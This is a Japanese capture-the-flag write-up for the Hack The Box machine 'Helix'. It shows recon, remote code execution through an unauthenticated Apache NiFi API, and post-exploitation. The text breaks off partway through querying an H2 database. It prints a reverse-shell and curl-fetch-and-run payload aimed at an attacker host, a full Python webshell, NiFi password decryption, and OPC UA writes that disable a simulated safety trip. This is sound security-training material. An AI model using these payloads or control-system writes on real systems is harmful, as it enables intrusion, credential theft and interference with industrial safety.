Hack The BoxのWriteup(Helix)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告




HackTheBox: Helix — 全実行コマンド・実行結果レポート
Nmap スキャン
VHost 列挙
flow.helix.htb 発見
NiFi API 無認証
ExecuteProcess RCE
nifi シェル + Webshell
OPC UA プロキシ
NiFi パスワード復号
SSH (operator): 失敗
H2 DB/DBファイル解析
SSH鍵発見 → user.txt ✓
PDF解読 → Mode=MAINTENANCE
OPC UA Calib → root.txt ✓
PHASE 1
  1. 偵察 (Reconnaissance)
    1. 全ポートスキャン
    2. バージョン・スクリプトスキャン
    3. /etc/hosts 設定
  2. Webアプリケーション調査
    1. Webページ取得・解析
    2. VHostベースルーティングの確認
    3. ディレクトリ・ファイルスキャン
  3. VHost列挙 — flow.helix.htb 発見
    1. ffuf によるVHostブルートフォース
    2. /etc/hosts への追加 + NiFi確認
  4. Apache NiFi 偵察・バージョン確認
    1. NiFi APIバージョン + 認証チェック
    2. プロセッサ一覧取得
    3. コントローラーサービス確認 (MaintenanceDB)
  5. Apache NiFi — ExecuteProcess プロセッサによるRCE
    1. ExecuteProcess プロセッサ作成・設定
    2. Attacker側: HTTPサーバー + netcatリスナー起動
    3. プロセッサ起動 → リバースシェル取得
  6. 侵入後調査 (Post-Exploitation)
    1. Webシェル + OPC UA プロキシのデプロイ
    2. 侵入後情報収集 (gather.sh)
    3. sudo・SUID・環境変数チェック
    4. helix-cleanup.timer の調査
    5. /opt の内容調査
  7. 認証情報解析・H2データベース調査
    1. NiFi nifi.properties から暗号化キー抽出
    2. flow.json.gz から暗号化パスワード抽出
    3. NiFiDecrypt.java — パスワード復号
    4. SSH ログイン試行 (operator)
    5. OPC UA サーバー調査
    6. OPC UA ノード書き込み試行
    7. H2 MaintenanceDB テーブル一覧取得 (nifi_query.py)
    8. USERS テーブル クエリ → H2 DB ユーザー確認
  8. 認証情報深掘り調査 — DBファイル・環境変数・復号再試行
    1. H2 データベースファイル探索
    2. nifi-identity-providers.mv.db の解析 (H2 Recover)
    3. flow.json.gz 再解析 — 暗号化パスワード確認
    4. H2 maint DB — INFORMATION_SCHEMA.USERS クエリ
    5. NiFi プロセス環境変数チェック
    6. NiFi 暗号化パスワード Python 復号試行 (失敗)
    7. H2 FILE_READ による user.txt 直接取得試み
    8. bootstrap.conf 確認
  9. operator SSH鍵取得・user.txt取得・MaintenanceWindow 起動調査
    1. support-bundles から operator SSH 秘密鍵の発見
    2. SSH ログイン & user.txt 取得
    3. sudo 権限確認 — helix-maint-console
    4. helix システム構成の詳細分析
    5. HMI ダッシュボード発見 (127.0.0.1:8081)
    6. OPC UA ノードマッピング (正確版)
    7. MaintenanceWindow 起動失敗試行 — 根本原因分析
    8. 解決: Operator Control & Safety Guide PDF からの手順解読
    9. MaintenanceWindow 起動 — 最終手順
    10. root.txt 取得 — 完全攻略!
  10. 攻撃サマリー
    1. 発見した脆弱性・設定ミス
    2. 取得した認証情報・秘密情報
    3. 攻撃経路
    4. フラグ取得状況
    5. 完全攻略 — 最終攻撃フロー
    6. 環境情報

偵察 (Reconnaissance)

全ポートスキャン

BASH
nmap -p- --defeat-rst-ratelimit -T4 10.129.245.123 -oN /tmp/ctf_nmap_full.txt
RESULT
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Not shown: 65533 closed tcp ports (reset)
Nmap done: 1 IP address (1 host up) scanned
ℹ️
開放ポート: 22 (SSH)80 (HTTP) のみ。攻撃対象が非常に限定的。

バージョン・スクリプトスキャン

BASH
nmap -sV -sC -p 22,80 10.129.245.123 -oN /tmp/ctf_nmap_detail.txt
RESULT
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx/1.18.0 (Ubuntu)
|_http-title: Helix Industries | Industrial Automation & Critical Infrastructure
|_http-server-header: nginx/1.18.0 (Ubuntu)
ℹ️
SSH: OpenSSH 8.9p1 Ubuntu-3ubuntu0.15 (CVE-2024-6387 パッチ済み)
HTTP: nginx 1.18.0 — “Helix Industries” 産業自動化企業の静的HTMLサイト

/etc/hosts 設定

BASH
echo "10.129.245.123 helix.htb" >> /etc/hosts
RESULT
10.129.245.123 helix.htb  ← 追加済み
PHASE 2

Webアプリケーション調査

Webページ取得・解析

BASH
curl -s http://helix.htb/ | head -30
curl -s -I http://helix.htb/
RESULT
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Content-Type: text/html
Content-Length: 43341
Last-Modified: Thu, 16 Apr 2026 08:57:46 GMT
ETag: "69e0a48a-a94d"

<!DOCTYPE html>
<html lang="en">
<title>Helix Industries | Industrial Automation & Critical Infrastructure</title>
... (43,341バイトの純粋な静的HTML)
⚠️
サイトは完全な静的HTML。フォームのsubmit処理もJavaScriptのみ(サーバー送信なし)。バックエンドアプリケーションが存在しない。

VHostベースルーティングの確認

BASH
# 直接IPアクセス vs ホスト名アクセスの比較
curl -s -o /dev/null -w "%{http_code}" http://10.129.245.123/
curl -s -o /dev/null -w "%{http_code}" -H "Host: helix.htb" http://10.129.245.123/
curl -s -o /dev/null -w "%{http_code}" -H "Host: nonexistent.helix.htb" http://10.129.245.123/
RESULT
直接IP:           302 → Location: http://helix.htb/
helix.htb:        200
無効なVHost:      302 → Location: http://helix.htb/
重要発見: nginxがVirtualHostベースのルーティングを実装。正規ホスト以外は302リダイレクト。これを利用してVHostブルートフォースが可能。

ディレクトリ・ファイルスキャン

BASH
gobuster dir -u http://helix.htb/ -w /usr/share/wordlists/dirb/common.txt -t 30 -q

for f in robots.txt sitemap.xml .htaccess .git/HEAD .env config.php; do
  code=$(curl -s -o /dev/null -w "%{http_code}" http://helix.htb/$f)
  echo "$code - $f"
done
RESULT
gobuster: 発見なし(静的ファイルのみ)
.env: 404、robots.txt: 404、.git: 404
→ すべて404 または対象なし
PHASE 3

VHost列挙 — flow.helix.htb 発見

ffuf によるVHostブルートフォース

BASH
ffuf -w /usr/share/dnsrecon/dnsrecon/data/subdomains-top1mil-5000.txt \
     -u http://10.129.245.123/ \
     -H "Host: FUZZ.helix.htb" \
     -fc 302 \
     -t 50 -timeout 5 -mc all
RESULT
:: Progress: [5000/5000] :: 263 req/sec :: Duration: [0:00:20]

flow  [Status: 200, Size: 1068, Words: 110, Lines: 28, Duration: 198ms]

→ flow.helix.htb が 200 OK を返す(基準値302と異なる)
VHost発見: flow.helix.htb — 5000件のサブドメインリスト中で唯一の非302応答

/etc/hosts への追加 + NiFi確認

BASH
echo "10.129.245.123 flow.helix.htb" >> /etc/hosts
curl -s -v http://flow.helix.htb/
RESULT
HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Security-Policy: frame-ancestors 'self'

<title>NiFi</title>
<meta http-equiv="Refresh" content="5; url=/nifi/">
<p>Did you mean: <a href="/nifi/">/nifi</a></p>
Apache NiFi 発見! NiFiのウェルカムページ。/nifi/ にリダイレクト。
PHASE 4

Apache NiFi 偵察・バージョン確認

NiFi APIバージョン + 認証チェック

BASH
curl -s http://flow.helix.htb/nifi-api/flow/about | python3 -m json.tool
curl -s http://flow.helix.htb/nifi-api/flow/process-groups/root | python3 -m json.tool | head -20
RESULT
{
  "about": {
    "title": "NiFi",
    "version": "1.21.0",
    "uri": "http://flow.helix.htb:80/nifi-api/",
    "buildTag": "nifi-1.21.0-RC2"
  }
}

# root プロセスグループ
"permissions": {
  "canRead": true,
  "canWrite": true
},
"id": "f203bc07-019b-1000-516b-eaedd48609d1"
🚨
重大: Apache NiFi 1.21.0 — REST APIが認証なしで完全な読み書きアクセスを許可canRead: true / canWrite: true → 任意プロセッサ作成・実行可能 → RCE

プロセッサ一覧取得

BASH
curl -s http://flow.helix.htb/nifi-api/flow/process-groups/root | python3 -c "
import sys,json; d=json.load(sys.stdin)
for p in d['processGroupFlow']['flow']['processors']:
    print(p['id'][:8], p['component']['name'], p['component']['state'])
"
RESULT
f4797168  ExecuteSQL    STOPPED
f4894b7d  LogAttribute  STOPPED
ℹ️
既存プロセッサ: ExecuteSQL (MaintenanceDB接続用) と LogAttribute。 ExecuteSQL ID: f4797168-019b-1000-2229-6c29fab7ba7c

コントローラーサービス確認 (MaintenanceDB)

BASH
curl -s "http://flow.helix.htb/nifi-api/flow/process-groups/root/controller-services" | python3 -m json.tool
RESULT
{
  "controllerServices": [{
    "id": "f483dcc4-019b-1000-2dd4-9a275954eb10",
    "component": {
      "name": "MaintenanceDB",
      "type": "org.apache.nifi.dbcp.DBCPConnectionPool",
      "state": "ENABLED",
      "properties": {
        "Database Connection URL": "jdbc:h2:mem:maint;MODE=MySQL;DB_CLOSE_DELAY=-1",
        "Database User": "operator",
        "Password": "########"  (暗号化されてマスク表示)
      }
    }
  }]
}
重要発見: H2インメモリDB jdbc:h2:mem:maint が NiFi JVM 内で動作中。 ユーザー名 operator、パスワードは NiFi 暗号化値として保存。
PHASE 5

Apache NiFi — ExecuteProcess プロセッサによるRCE

ExecuteProcess プロセッサ作成・設定

NOTE
NiFi ExecuteProcess で直接 bash -c "..." を実行しようとすると
Argument Delimiter が "|" のため、"|" を含む bash コマンドが正しく分割される。
回避策: Command="/bin/sh", ArgumentDelimiter="|" を使い
Arguments="-c|curl ... -o /tmp/s.sh && bash /tmp/s.sh" と記述。
NiFi API (curl)
ROOT_PG_ID="f203bc07-019b-1000-516b-eaedd48609d1"

curl -s -X POST "http://flow.helix.htb/nifi-api/process-groups/${ROOT_PG_ID}/processors" \
  -H "Content-Type: application/json" \
  -d '{
    "revision": {"version": 0},
    "component": {
      "type": "org.apache.nifi.processors.standard.ExecuteProcess",
      "name": "ReverseShell",
      "position": {"x": 400, "y": 400},
      "config": {
        "schedulingStrategy": "TIMER_DRIVEN",
        "schedulingPeriod": "10 sec",
        "autoTerminatedRelationships": ["success"],
        "properties": {
          "Command": "/bin/sh",
          "Command Arguments": "-c|curl -fsSL http://10.10.14.245:8080/shell.sh -o /tmp/s.sh && chmod +x /tmp/s.sh && bash /tmp/s.sh",
          "Redirect Error Stream": "true",
          "Argument Delimiter": "|"
        }
      }
    }
  }'
RESULT
{"id": "95b35aae-019e-1000-d47b-d348fa562a48",
 "component": {"validationStatus": "VALID", "state": "STOPPED"}}

Attacker側: HTTPサーバー + netcatリスナー起動

BASH (Attacker)
# shell.sh の内容
cat > /tmp/shell.sh << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.245/4444 0>&1
EOF

# shell.sh 配信用HTTPサーバー
python3 /home/kali/Desktop/VScode/htb-helix/httpsvr.py &

# リバースシェルリスナー
nc -nlvp 4444

プロセッサ起動 → リバースシェル取得

NiFi API (curl)
curl -s -X PUT "http://flow.helix.htb/nifi-api/processors/95b35aae-019e-1000-d47b-d348fa562a48/run-status" \
  -H "Content-Type: application/json" \
  -d '{"revision":{"version":14},"state":"RUNNING"}'
RESULT
# HTTPサーバーログ (attacker)
10.129.245.123 - - [05/Jun/2026 12:55:32] "GET /shell.sh HTTP/1.1" 200 -

# netcat (attacker TCP/4444)
connect to [10.10.14.245] from (UNKNOWN) [10.129.245.123] 36798
bash: cannot set terminal process group (978): Inappropriate ioctl for device
bash: no job control in this shell
nifi@helix:/opt/nifi-1.21.0$
RCE成功! ユーザー nifi として /opt/nifi-1.21.0 でシェル取得。
PHASE 6

侵入後調査 (Post-Exploitation)

Webシェル + OPC UA プロキシのデプロイ

NOTE
通常のリバースシェルは helix-cleanup.timer (5分ごと) によってリセットされる。
永続的なアクセス手段として /tmp/webshell.py (port 9999) と
OPC UA プロキシ /tmp/opcua_proxy.py (port 4841) を NiFi ExecuteProcess で配置。
NiFi API — webshell.py 配置
# webshell.py を attacker の HTTP サーバーから取得して起動
# Command: /bin/sh
# Arguments: -c|curl -fsSL http://10.10.14.245:8080/webshell.py -o /tmp/webshell.py && python3 /tmp/webshell.py &
PYTHON — webshell.py (target port 9999)
#!/usr/bin/env python3
from http.server import HTTPServer, BaseHTTPRequestHandler
import subprocess, os

class H(BaseHTTPRequestHandler):
    def do_POST(self):
        length = int(self.headers.get('Content-Length', 0))
        cmd = self.rfile.read(length).decode().strip()
        try:
            out = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, timeout=30)
        except subprocess.CalledProcessError as e:
            out = e.output
        self.send_response(200); self.end_headers(); self.wfile.write(out)
    def log_message(self, *a): pass

os.chdir('/tmp')
HTTPServer(('0.0.0.0', 9999), H).serve_forever()
PYTHON — opcua_proxy.py (target port 4841 → 127.0.0.1:4840)
#!/usr/bin/env python3
import socket, threading

def forward(src, dst):
    try:
        while True:
            data = src.recv(4096)
            if not data: break
            dst.sendall(data)
    except: pass
    finally:
        try: src.close()
        except: pass
        try: dst.close()
        except: pass

def handle(client):
    backend = socket.socket()
    backend.connect(('127.0.0.1', 4840))
    t1 = threading.Thread(target=forward, args=(client, backend), daemon=True)
    t2 = threading.Thread(target=forward, args=(backend, client), daemon=True)
    t1.start(); t2.start(); t1.join(); t2.join()

srv = socket.socket()
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(('0.0.0.0', 4841)); srv.listen(5)
while True:
    c, _ = srv.accept()
    threading.Thread(target=handle, args=(c,), daemon=True).start()
RESULT
# 確認: target から実行中プロセス
curl -s -X POST http://10.129.245.123:9999 -d "ss -tlnp"

LISTEN  0.0.0.0:9999   users:(("python3",pid=5471,fd=3))   ← Webshell
LISTEN  0.0.0.0:4841   users:(("python3",pid=5792,fd=3))   ← OPC UA プロキシ
LISTEN  127.0.0.1:4840                                      ← OPC UA サーバー (localhost only)
LISTEN  127.0.0.1:8080 users:(("java",pid=1089,fd=41))     ← NiFi HTTP (localhost only)
永続アクセス確立: Webshell (TCP/9999) で任意コマンド実行可。 OPC UA プロキシ (TCP/4841) で外部から OPC UA サーバーに接続可能。 helix-cleanup.timer リセット後もプロセスが生存 (PID固定)。

侵入後情報収集 (gather.sh)

BASH — gather.sh スクリプト内容
#!/bin/bash
# System info
echo "=== SYSTEM INFO ==="
id; whoami; hostname; uname -a
echo ""
echo "=== USERS ==="
cat /etc/passwd | grep -v nologin | grep -v false
echo ""
echo "=== NETWORK ==="
ss -tlnp 2>/dev/null | head -30
echo ""
echo "=== PROCESSES ==="
ps aux | grep -v "\[" | head -30
echo ""
echo "=== /opt CONTENTS ==="
ls -laR /opt/ 2>/dev/null | head -50
echo ""
echo "=== /home CONTENTS ==="
ls -la /home/ 2>/dev/null
ls -la /home/operator/ 2>/dev/null || echo "DENIED"
echo ""
echo "=== SUDO/SUID ==="
sudo -l -n 2>/dev/null || echo "sudo: not available"
find / -perm -4000 -type f 2>/dev/null | head -20
echo ""
echo "=== ENVIRONMENT ==="
env | grep -iE 'pass|secret|key|token' | head -10 || echo "none found"
BASH — gather.sh (attacker経由でtargetに配置・実行)
curl -s -X POST http://10.129.245.123:9999 -d "bash /tmp/gather.sh"
RESULT
uid=998(nifi) gid=998(nifi) groups=998(nifi)
nifi
helix
Linux helix 5.15.0-164-generic #174-Ubuntu SMP Fri Jun 28 15:47:17 UTC 2024 x86_64
BASH — ホームディレクトリ・ユーザー一覧
curl -s -X POST http://10.129.245.123:9999 \
  -d "ls -la /home/; grep -v 'nologin\|false\|sync' /etc/passwd"
RESULT
drwxr-xr-x 3 root     root      4096 /home/
drwxr-x--- 3 operator operator 4096 /home/operator

root:x:0:0:root:/root:/bin/bash
operator:x:1000:1000::/home/operator:/bin/bash
nifi:x:998:998::/opt/nifi-1.21.0:/bin/bash
BASH — user.txt 探索
curl -s -X POST http://10.129.245.123:9999 \
  -d "find /home /root -name 'user.txt' 2>/dev/null; cat /home/operator/user.txt 2>/dev/null || echo 'PERMISSION DENIED'"
RESULT
/home/operator/user.txt
PERMISSION DENIED  ← nifi ユーザーでは読み取り不可 (drwxr-x--- operator:operator)
⚠️
user.txt の場所は判明: /home/operator/user.txt。 ただし nifi ユーザーでは権限不足。operator への権限昇格が必要。

sudo・SUID・環境変数チェック

BASH
curl -s -X POST http://10.129.245.123:9999 -d "sudo -l -n 2>/dev/null"
curl -s -X POST http://10.129.245.123:9999 -d "find / -perm -4000 -type f 2>/dev/null | head -20"
curl -s -X POST http://10.129.245.123:9999 -d "env | grep -iE 'pass|secret|key|token' | head -10"
RESULT
# sudo
sudo not available or requires password

# SUID バイナリ (主要なもの)
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/mount
/usr/bin/umount
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper

# 環境変数 (認証情報)
NIFI_HOME=/opt/nifi-1.21.0
(機密情報を含む環境変数なし)
ℹ️
なぜ実行したか: nifi ユーザーの権限昇格経路を確認するため。
判明事項: 標準的な SUID バイナリのみで特権昇格経路なし。sudo は nifi には設定されていない。

helix-cleanup.timer の調査

BASH
curl -s -X POST http://10.129.245.123:9999 \
  -d "cat /etc/systemd/system/helix-cleanup.timer; systemctl status helix-cleanup.timer 2>/dev/null | head -15"
RESULT
[Unit]
Description=Helix Cleanup Timer

[Timer]
OnBootSec=2min
OnUnitActiveSec=5min
Unit=helix-cleanup.service

[Install]
WantedBy=timers.target

● helix-cleanup.timer - Helix Cleanup Timer
   Loaded: loaded (/etc/systemd/system/helix-cleanup.timer; enabled)
   Active: active (waiting) since Thu 2026-06-05 ...
🚨
重要制約: helix-cleanup.service5分ごと に実行され、 helix の OPC UA 状態・NiFi フロー設定がリセットされる。 Webshell (PID 5471) と OPC UA プロキシ (PID 5792) は生存するが、 NiFi フローの変更・OPC UA ノードへの書き込みは5分以内に実施する必要がある。
ℹ️
なぜ実行したか: 5分ごとのリセットサイクルを把握し、OPC UA 操作のタイムウィンドウを計画するため。
判明事項: OnUnitActiveSec=5min — すべての攻撃操作はリセット後5分以内に完了する必要がある。

/opt の内容調査

BASH
curl -s -X POST http://10.129.245.123:9999 -d "ls -la /opt/"
curl -s -X POST http://10.129.245.123:9999 -d "ls -la /opt/nifi-1.21.0/conf/"
RESULT
# /opt/
drwxr-xr-x nifi  nifi  nifi-1.21.0/
drwxr-x--- root  helixsvc  helix/   ← 0750 権限、helixsvc グループのみアクセス可

/opt/helix/ 内:
  bin/helix-plc      ← PyInstaller バイナリ (plc ユーザーで実行)
  bin/helix-safety   ← PyInstaller バイナリ (root で実行)
  bin/helix-hmi      ← PyInstaller バイナリ (www-data で実行)
  state/             ← maintenance_window ファイルの保存先

# /opt/nifi-1.21.0/conf/
-rw-r--r-- nifi.properties
-rw-r--r-- flow.json.gz
-rw-r--r-- bootstrap.conf
...
ℹ️
PyInstaller バイナリ: helix-plc / helix-safety / helix-hmi は Python スクリプトを単一バイナリにパッケージ化したもの。 実行時に /tmp/_MEI... に展開される。OPC UA プロトコルで通信。
⚠️
判明事項: helixsvc グループ (plc, www-data のみ) でなければ /opt/helix/ にアクセス不可。 nifi・operator ユーザーはこのディレクトリを読めない。
PHASE 7

認証情報解析・H2データベース調査

NiFi nifi.properties から暗号化キー抽出

BASH (Webshell経由)
curl -s -X POST http://10.129.245.123:9999 \
  -d "grep -E 'sensitive.props' /opt/nifi-1.21.0/conf/nifi.properties"
RESULT
nifi.sensitive.props.key=TUHh+YHA30zmdlcA8xq/elNBLPkO03Nl
nifi.sensitive.props.algorithm=NIFI_PBKDF2_AES_GCM_256
nifi.sensitive.props.provider=BC
暗号化マスターキー取得: TUHh+YHA30zmdlcA8xq/elNBLPkO03Nl (NIFI_PBKDF2_AES_GCM_256 アルゴリズム)
ℹ️
なぜ実行したか: NiFi フロー設定の暗号化に使われるマスターキーを取得するため。
判明事項: sensitive.props.key が平文で保存されていることを発見。この値が flow.json.gz 内の暗号化パスワード復号に必要。

flow.json.gz から暗号化パスワード抽出

BASH (Webshell経由)
curl -s -X POST http://10.129.245.123:9999 \
  -d "zcat /opt/nifi-1.21.0/conf/flow.json.gz | python3 -c \"
import sys,json; d=json.load(sys.stdin)
for cs in d.get('rootGroup',{}).get('controllerServices',[]):
    if 'DB' in cs.get('name',''):
        print('Name:', cs['name'])
        for k,v in cs.get('properties',{}).items():
            print(f'  {k}: {v}')
\""
RESULT
Name: MaintenanceDB
  Database Connection URL: jdbc:h2:mem:maint;MODE=MySQL;DB_CLOSE_DELAY=-1
  Database Driver Class Name: org.h2.Driver
  Database User: operator
  Password: 9897903663768385f7715a5575bc82b9a91f1e3efdb68b458ea42353b96e89ba898cf14021f4344eec8cec5f3fd5c529fe59
  (暗号化値 — NIFI_PBKDF2_AES_GCM_256)
ℹ️
暗号化パスワード発見: MaintenanceDB (H2) の operator ユーザーパスワード。 NiFiの NIFI_PBKDF2_AES_GCM_256 方式で暗号化。
ℹ️
なぜ実行したか: NiFi フロー設定から認証情報を抽出するため。
判明事項: MaintenanceDB への接続に operator ユーザーと暗号化パスワードを使用していることが判明。

NiFiDecrypt.java — パスワード復号

NOTE
NIFI_PBKDF2_AES_GCM_256 の詳細:
  - KDF: PBKDF2WithHmacSHA512
  - Iterations: 160,000
  - Salt: "NiFi Static Salt" (ASCII、静的固定値)
  - Key length: 256-bit
  - Cipher: AES-256-GCM

Python での復号試みは全失敗。NiFi 独自の実装詳細に依存するため、
NiFi の Java ライブラリ (nifi-encrypt-1.21.0.jar 等) を直接使用する方式を採用。
JAVA — NiFiDecrypt.java
import org.apache.nifi.encrypt.PropertyEncryptorBuilder;
import org.apache.nifi.encrypt.PropertyEncryptor;

public class NiFiDecrypt {
    public static void main(String[] args) throws Exception {
        String key     = "TUHh+YHA30zmdlcA8xq/elNBLPkO03Nl";
        String encVal  = "9897903663768385f7715a5575bc82b9a91f1e3efdb68b458ea42353b96e89ba898cf14021f4344eec8cec5f3fd5c529fe59";
        String algo    = "NIFI_PBKDF2_AES_GCM_256";

        PropertyEncryptor enc = new PropertyEncryptorBuilder(key)
            .setAlgorithm(algo)
            .build();
        System.out.println("DECRYPTED: " + enc.decrypt(encVal));
    }
}
BASH — コンパイル・実行 (NiFi の jar をクラスパスに追加)
# target 上 (Webshell経由) で NiFi JVM 内のライブラリを使って実行
# または attacker 上で NiFi lib/ を使ってコンパイル
NIFI_LIB="/opt/nifi-1.21.0/lib"
javac -cp "${NIFI_LIB}/*" /tmp/NiFiDecrypt.java
java  -cp "/tmp:${NIFI_LIB}/*" NiFiDecrypt
RESULT
DECRYPTED: R7qZ9L3xKM2W8pFYcA
パスワード復号成功: operator の MaintenanceDB パスワード = R7qZ9L3xKM2W8pFYcA

SSH ログイン試行 (operator)

BASH
sshpass -p 'R7qZ9L3xKM2W8pFYcA' ssh -o StrictHostKeyChecking=no operator@10.129.245.123
RESULT
operator@10.129.245.123: Permission denied (publickey,password).

# ログイン試行の詳細
debug1: Offering password
debug1: Authentications that can continue: publickey,password
debug1: Permission denied (publickey,password)
🚨
SSH ログイン失敗: R7qZ9L3xKM2W8pFYcA は SSH パスワードではない。 これは H2 MaintenanceDB 専用の認証情報。別途 operator の SSH 認証情報が必要、 または H2 DB を通じたさらなる情報収集が必要。
ℹ️
なぜ実行したか: 復号したパスワードが Linux ユーザー認証に使えるか確認するため。
判明事項: 失敗 — このパスワードは H2 DB 専用で SSH 認証に使えない。別途 SSH 認証情報の探索が必要。

OPC UA サーバー調査

NOTE
OPC UA (Open Platform Communications Unified Architecture) — 産業オートメーション向けプロトコル
Port 4840 は target の localhost のみ → opcua_proxy.py (4841) 経由でアクセス。
pip3 install opcua (attacker Kali 上) で opcua Python ライブラリを使用。
PYTHON — OPC UA ノード一覧取得
from opcua import Client
c = Client("opc.tcp://10.129.245.123:4841/")
c.connect()
root = c.get_root_node()

def browse(node, indent=0):
    for child in node.get_children():
        try:
            name = child.get_browse_name().Name
            val  = child.get_value() if child.get_node_class().name == "Variable" else ""
            print("  "*indent + f"{name}: {val}")
            browse(child, indent+1)
        except: pass

browse(root)
RESULT — OPC UA ノード一覧
Objects/
  HelixPLC/
    Temperature:        283.0  (Double, °C)
    CalibrationOffset:  0.0   (Double)
    TripActive:         True  (Boolean — 安全トリップ発動中)
    Mode:               NORMAL (String)
    TestOverride:       False  (Boolean)
    MaintenanceWindow:  CLOSED (String)
    TestModeActive:     NO    (String)
⚠️
目標: MaintenanceWindow = OPEN にすること。 Temperature が 297°C 以上かつ適切なモード設定で「メンテナンス窓」が開くと推測。 CalibrationOffset を +14 に設定すると Temperature → 297°C になる。
ℹ️
なぜ実行したか: nmap で 4840/tcp が OPC UA と判明したため詳細調査。
判明事項: helix-plc がリアクター制御システムを OPC UA でシミュレートしていることが判明。CalibrationOffset と Mode ノードが書き込み可能で、これらを操作して MaintenanceWindow の開放を試みる。

OPC UA ノード書き込み試行

PYTHON — 各ノードへの書き込み
import opcua.ua as ua
from opcua import Client

c = Client("opc.tcp://10.129.245.123:4841/")
c.connect()

def write_node(path, value, vtype):
    node = c.get_node(path)
    node.set_value(ua.DataValue(ua.Variant(value, vtype)))
    print(f"Written {path} = {value}")

# 手順1: TEST モードへ切り替え
write_node("ns=2;s=HelixPLC.Mode", "TEST", ua.VariantType.String)

# 手順2: TestOverride 有効化
write_node("ns=2;s=HelixPLC.TestOverride", True, ua.VariantType.Boolean)

# 手順3: TripActive 解除
write_node("ns=2;s=HelixPLC.TripActive", False, ua.VariantType.Boolean)

# 手順4: CalibrationOffset で Temperature を 297°C へ
write_node("ns=2;s=HelixPLC.CalibrationOffset", 14.0, ua.VariantType.Double)
RESULT
Written Mode = TEST
Written TestOverride = True
Written TripActive = False
Written CalibrationOffset = 14.0

# 5秒後に確認
Temperature:       297.0 °C  ✓
Mode:              TEST     ✓
TestOverride:      True     ✓
TripActive:        False    ✓
TestModeActive:    NO       ← まだ YES にならない
MaintenanceWindow: CLOSED   ← まだ開かない
🚨
メンテナンスウィンドウが開かない: Temperature=297°C, TripActive=False, TestOverride=True, Mode=TEST の組み合わせを試みたが TestModeActive: NO のまま。 helix-cleanup.timer (5分) によりリセットされるため、タイミング的に難しい。 H2 DB 内の SETTINGS テーブルに閾値条件がある可能性を調査中。

H2 MaintenanceDB テーブル一覧取得 (nifi_query.py)

PYTHON — nifi_query.py (完全スクリプト)
import requests, time, base64, io, fastavro, sys

BASE = "http://flow.helix.htb/nifi-api"
PROC_ID = "f4797168-019b-1000-2229-6c29fab7ba7c"
CONN_ID = "f48b9309-019b-1000-6dc3-e2a147604c81"

def get_version():
    r = requests.get(f"{BASE}/processors/{PROC_ID}")
    return r.json()["revision"]["version"]

def stop():
    v = get_version()
    requests.put(f"{BASE}/processors/{PROC_ID}/run-status",
        json={"revision":{"version":v},"state":"STOPPED"})
    time.sleep(0.5)

def purge():
    requests.post(f"{BASE}/flowfile-queues/{CONN_ID}/drop-requests", json={})
    for _ in range(10):
        r = requests.get(f"{BASE}/connections/{CONN_ID}")
        q = r.json()["status"]["aggregateSnapshot"]["queuedCount"]
        if q == "0":
            break
        time.sleep(1)

def set_sql(sql):
    v = get_version()
    requests.put(f"{BASE}/processors/{PROC_ID}",
        json={"revision":{"version":v},"component":{"id":PROC_ID,
              "config":{"properties":{"SQL select query":sql}}}})

def run_and_get():
    v = get_version()
    requests.put(f"{BASE}/processors/{PROC_ID}/run-status",
        json={"revision":{"version":v},"state":"RUNNING"})
    for _ in range(20):
        time.sleep(1)
        r = requests.get(f"{BASE}/connections/{CONN_ID}")
        q = r.json()["status"]["aggregateSnapshot"]["queuedCount"]
        if q != "0":
            break
    v = get_version()
    requests.put(f"{BASE}/processors/{PROC_ID}/run-status",
        json={"revision":{"version":v},"state":"STOPPED"})
    time.sleep(0.5)
    r = requests.post(f"{BASE}/flowfile-queues/{CONN_ID}/listing-requests", json={})
    req_id = r.json()["listingRequest"]["id"]
    time.sleep(1)
    r = requests.get(f"{BASE}/flowfile-queues/{CONN_ID}/listing-requests/{req_id}")
    ffs = r.json()["listingRequest"]["flowFileSummaries"]
    if not ffs:
        return None, None, "NO_FLOWFILES"
    ff_uuid = ffs[0]["uuid"]
    return ff_uuid, ffs, None

def query(sql):
    stop(); purge(); set_sql(sql)
    ff_uuid, ffs, err = run_and_get()
    if err:
        return f"ERROR: {err}"
    cmd = f'curl -s http://127.0.0.1:8080/nifi-api/flowfile-queues/{CONN_ID}/flowfiles/{ff_uuid}/content'
    r2 = requests.post("http://10.129.9.233:9999", data=cmd)
    data = r2.content
    try:
        reader = fastavro.reader(io.BytesIO(data))
        return list(reader)
    except Exception as e:
        return f"AVRO_ERROR: {e}, raw: {data[:200]}"
NOTE
NiFi の ExecuteSQL プロセッサ (ID: f4797168-019b-1000-2229-6c29fab7ba7c) を使用し、
H2 インメモリ DB (jdbc:h2:mem:maint) に対して直接 SQL クエリを実行。
出力は Avro フォーマットの FlowFile としてキューに格納。
NiFi API は localhost:8080 のみリッスン → Webshell 経由でアクセス。
BASH (Webshell → NiFi API)
# SQL クエリを SELECT TABLE_NAME, TABLE_TYPE FROM INFORMATION_SCHEMA.TABLES に変更
curl -s -X POST http://10.129.245.123:9999 -d \
  "curl -s -X PUT 'http://127.0.0.1:8080/nifi-api/processors/f4797168-019b-1000-2229-6c29fab7ba7c' \
   -H 'Content-Type: application/json' \
   -d '{\"revision\":{\"version\":3},\"component\":{\"id\":\"f4797168-019b-1000-2229-6c29fab7ba7c\",\"config\":{\"properties\":{\"SQL select query\":\"SELECT TABLE_NAME, TABLE_TYPE FROM INFORMATION_SCHEMA.TABLES\"}}}}'

# プロセッサ起動 → 停止 → FlowFile ダウンロード
curl ... run-status RUNNING
sleep 3
curl ... run-status STOPPED
# FlowFile を /tmp/ff_content.avro に保存"
PYTHON — Avro FlowFile パース (fastavro)
import fastavro, io
with open('/tmp/ff_content.avro', 'rb') as f:
    reader = fastavro.reader(f)
    for record in reader:
        print(record)
RESULT — H2 maint DB テーブル一覧
